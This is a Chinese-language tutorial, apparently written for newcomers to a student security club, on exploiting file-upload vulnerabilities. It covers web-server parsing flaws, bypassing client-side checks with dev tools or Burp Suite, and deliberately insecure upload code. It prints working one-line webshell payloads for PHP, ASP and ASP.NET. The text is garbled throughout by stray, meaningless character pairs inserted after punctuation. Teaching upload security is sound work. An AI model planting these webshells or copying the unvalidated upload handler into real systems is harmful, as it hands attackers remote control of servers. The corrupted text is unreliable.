? ? ? ?只要web應(yīng)用程序允許上傳文件就有可能存在文件上傳漏洞药蜻。那么如何確認(rèn)web應(yīng)用程序是否存在上傳漏洞瓷式?比如:我的網(wǎng)站是一個BBS論壇,由php語言編寫语泽,用戶可以上傳自己的頭像贸典,也就是圖片文件,但文件上傳時并沒有對圖片格式做驗證湿弦,導(dǎo)致用戶可以上傳任意文件瓤漏,那么這就是一個上傳漏洞腾夯。
5.1解析漏洞
? ? ? ?攻擊者在利用上傳漏洞是颊埃,通常會與Web容器的解析漏洞配合在一起。常見的web容器有IIS蝶俱、Apache班利、Nginx等。
5.1.1 IIS解析漏洞(6.0以下版本)
? ? ? ?IIS6.0在解析文件時存在以下兩個解析漏洞榨呆。
? ? ? ?①當(dāng)建立.asa罗标、.asp格式的文件夾時,其目錄下的任意文件都將被IIS當(dāng)做asp文件夾來解析。
? ? ? ?例如:當(dāng)建立文件夾parsing.asp闯割,在parsing.asp文件夾內(nèi)新建一個文本文檔test.txt彻消,其內(nèi)容為<%=NOW()%>,然后在瀏覽器內(nèi)訪問宙拉。如圖
? ? ? ?“NOW()”是ASP提供獲取當(dāng)前時間的函數(shù)宾尚,TXT是文本文檔格式,IIS是不會去解析此類文件的谢澈,應(yīng)該會直接顯示其內(nèi)容煌贴,而在parsing.asp文件夾中,卻被當(dāng)做ASP腳本來解析锥忿。
? ? ? ?②當(dāng)文件為*.asp;1.jpg時牛郑,IIS6.0同樣會以ASP腳本來執(zhí)行,如:新建文本敬鬓,test.asp;1.jpg淹朋,內(nèi)容為<%=NOW()%>。如圖
5.1.2Apache解析漏洞
? ? ? ?在Apache1.x和Apache2.x存在解析漏洞钉答,與IIS解析漏洞不同瑞你。
? ? ? ?Apache在解析文件時有一個原則:當(dāng)碰到不認(rèn)識的擴(kuò)展名時,將會從后向前解析希痴,直到碰到認(rèn)識的擴(kuò)展名為止者甲,如果都不認(rèn)識則會暴露其源代碼。比如:
? ? ? ?? ? ? ?1.php.rar.aa.xx
? ? ? ?Apache首先會解析xx拓展名砌创,如果不認(rèn)識解析aa虏缸,這樣一直便利到認(rèn)識的拓展名為止,然后再將其進(jìn)行解析嫩实。在Apache安裝目錄下“/conf/mime.types”文件中有詳細(xì)的拓展名列表刽辙。
? ? ? ?有些程序開發(fā)人員在上傳文件時,判斷文件名是否是PHP甲献、ASP宰缤、ASPX、等晃洒,如果是則不允許上傳慨灭,或者只允許上傳某些類型的文件。這時攻擊者可以利用解析漏洞繞過程序檢測球及,獲取到webshell氧骤。
5.1.3 PHP CGI解析漏洞
? ? ? ?Nginx是一款高性能的Web服務(wù)器,通常用來作為PHP的解析容器吃引,Nginx也曾經(jīng)被爆過兩個“解析漏洞”筹陵,比如
? ? ? ?此時的1.php是不存在的刽锤,卻可以看到1.jpg已經(jīng)按照php腳本來解析了,問題就出現(xiàn)在這個“1.php”上(1.php并不是特定的可以隨意命名)朦佩。這就意味著攻擊者可以上傳合法的“圖片木馬”并思,然后再URL后面加上“XXX.php”,就可以獲得網(wǎng)站的Webshell语稠。
? ? ? ?這種解析漏洞其實是phpCGI的漏洞纺荧。在php的配置文件中有一個關(guān)鍵的選項:cgi.fi:x_pathinfo。這個選項在某些版本中是默認(rèn)開啟的颅筋,在開啟時訪問URL宙暇。比如http://****************/x.txt/x.php x.php是不存在的文件,php會向前遞歸解析议泵,于是造成了解析漏洞占贫。
5.2繞過上傳漏洞
? ? ? ?開發(fā)web應(yīng)用程序,一般都會遇到文件上傳先口,比如:上傳文檔并提供下載型奥,上傳圖片增加用戶體驗,文件上傳的基本流程相同碉京,客戶端使用JavaScript驗證厢汹,服務(wù)器端采用隨機(jī)數(shù)來重命名文件,以防止文件重復(fù)谐宙。
? ? ? ?? ? ? ?程序員在防止上傳漏洞時可以分為以下兩種烫葬。
? ? ? ?? ? ? ?①客戶端檢測:客戶端使用JavaScript檢測,在文件未上傳時凡蜻,就對文件進(jìn)行驗證搭综;
? ? ? ?? ? ? ?②服務(wù)器端腳本一般會檢測文件的MIME類型,檢測文件拓展名是否合法划栓,甚至有些程序員檢測文件中是否嵌入惡意代碼兑巾。
? ? ? ?在研究上傳漏洞之前,來看兩個小工具:中國菜刀和一句話木馬忠荞。
? ? ? ?該軟件提供的服務(wù)器端文件僅有一行代碼蒋歌。常見的代碼如下:
PHP: <?php @eval($_POST['value']); ?>
ASP: <%eval request("value") %>
ASP.NET: <%@ Page Language="Jscript"%><%eval(Request.Item["value"],"unsafe");%>
正因為代碼短小精悍,所以被黑客成為一句話木馬(一句話后門)委煤。
? ? ? ?將<?php @eval($_POST['x']); ?>保存為shell.php堂油,上傳至PHP主機(jī)空間中,配置菜刀進(jìn)行連接素标,如圖:
? ? ? ?“圖片一句話”則是將一句話木馬插入在圖片文件中称诗,而且并不損壞圖片文件,這一方法可以躲過少許的防火墻檢測头遭。一句話木馬的制作
? ? ? ?知道了上傳漏洞及一句話圖片木馬后寓免,下面研究攻擊者如何繞過程序員的防護(hù)思維來上傳一句話木馬文件的。
5.2.1客戶端檢測
? ? ? ?很多程序員僅僅通過使用JavaScript來拒絕非法文件上傳计维。這樣驗證對一些普通用戶是上傳錯誤還是可以袜香,對專業(yè)技術(shù)人員,是非常低級的驗證鲫惶。攻擊者可以通過非常多的方法來突破客戶端驗證蜈首。下面是一個非常簡單的文件上傳示例,使用JavaScript驗證欠母。
? ? ? ?Upload.html頁面使用JavaScript對文件拓展名驗證欢策,如果不是白名單中的拓展名,那么Form表單將不會提交至服務(wù)器赏淌,代碼如下:
? ? ? ?Upload.html
<!DOCTYPE html>
<html>
<head>
<title>圖片上傳</title>
<script type="text/javascript">
function checkFile(){
var flag = false; //是否可以上傳的標(biāo)志位
var str = document.getElementById("file").value; //獲取文件名
str = str.substring(str.lastIndexOf('.') + 1); //得到擴(kuò)展名
var arr = new Array('png','bmp','gif','jpg'); //允許上傳的擴(kuò)展名
for (var i = 0; i < arr.length; i++) { //循環(huán)判斷文件名是否合法
if (str == arr[i]) {
flag = true;
}
}
if (!flag) {
alert('文件不合法2瓤堋!');
}
return flag ;
}
</script>
</head>
<body>
<form action="upload.php" method="post" onsubmit="checkFile" enctype="multipart/form-data">
<input type="file" name="file" id="file" /><br />
<input type="submit" value="提交" name="submit" />
</form>
//onsubmit六水,按鈕點擊之后俺孙,執(zhí)行JavaScript。
</body>
</html>
? ? ? ?Upload.php
<?php
if (isset($_POST['submit'])) {
$name = $_FILES['file']['name']; //接收文件名
$name = md5(date('Y-m-d h:m:s')).strrchr($name, ".");
//文件重命名操作掷贾,保留原有擴(kuò)展名
$size = $_FILES['file']['size'];
$tmp = $_FILES['file']['tmp_name']; //臨時路徑
move_uploaded_file($tmp, $name); //移動臨時文件到當(dāng)前文件目錄
echo "文件上傳成功睛榄!path:".$name;
}
?>
1.FireBug
? ? ? ?發(fā)文時,火狐已經(jīng)沒有firebug了想帅,直接用F12就行了场靴。
? ? ? ?當(dāng)單擊“提交”按鈕后,F(xiàn)orm表單將會觸發(fā)onsubmit事件港准,onsubmit事件將會條用checkFile函數(shù)憎乙。checkFile函數(shù)將會檢測文件拓展名是否合法,并返回一個布爾值叉趣。如果checkFile函數(shù)返回TRUE泞边,則表單提交,反之彈出對話框“文件不合法!!”疗杉,文件無法提交到服務(wù)器阵谚。知道這一點后,我們將onsubmit事件刪除烟具,就可以繞過JavaScript函數(shù)驗證梢什。
? ? ? ?在本地構(gòu)造HTML提交也可以突破JavaScript驗證,朝聋。F12直接刪除方便一些嗡午。
2.中間人攻擊
? ? ? ?中間人攻擊這種方式與Firebug完全不同,F(xiàn)ireBug是刪除客戶端的JavaScript驗證冀痕,而使用Burp Suite 則是按照正常的流程通過JavaScript驗證荔睹,然后在傳輸層中的HTTP層做手腳狸演。
? ? ? ?首先把木馬文件擴(kuò)展名改為一張正常圖片的擴(kuò)展名,比如JPG擴(kuò)展名僻他,在上傳時使用Burp Suite 攔截上傳數(shù)據(jù)宵距,再將其中的擴(kuò)展名JPG修改為php,就可以繞過客戶端驗證吨拗,如圖:
此時上傳到服務(wù)器的就是php類型的文件了满哪。
? ? ? ?任何客戶端驗證都是不安全的∪芭瘢客戶端驗證是防止用戶輸入錯誤哨鸭。減少服務(wù)器開銷,而服務(wù)器驗證才可以真正防御攻擊者娇妓。
? ? ? ?
? ? ? ?
? ? ? ?
? ? ? ?本文大部分內(nèi)容摘自web安全深度剖析像鸡,特為啄木鳥網(wǎng)絡(luò)安全工作室新社員編寫,適合小白快速學(xué)習(xí)使用峡蟋。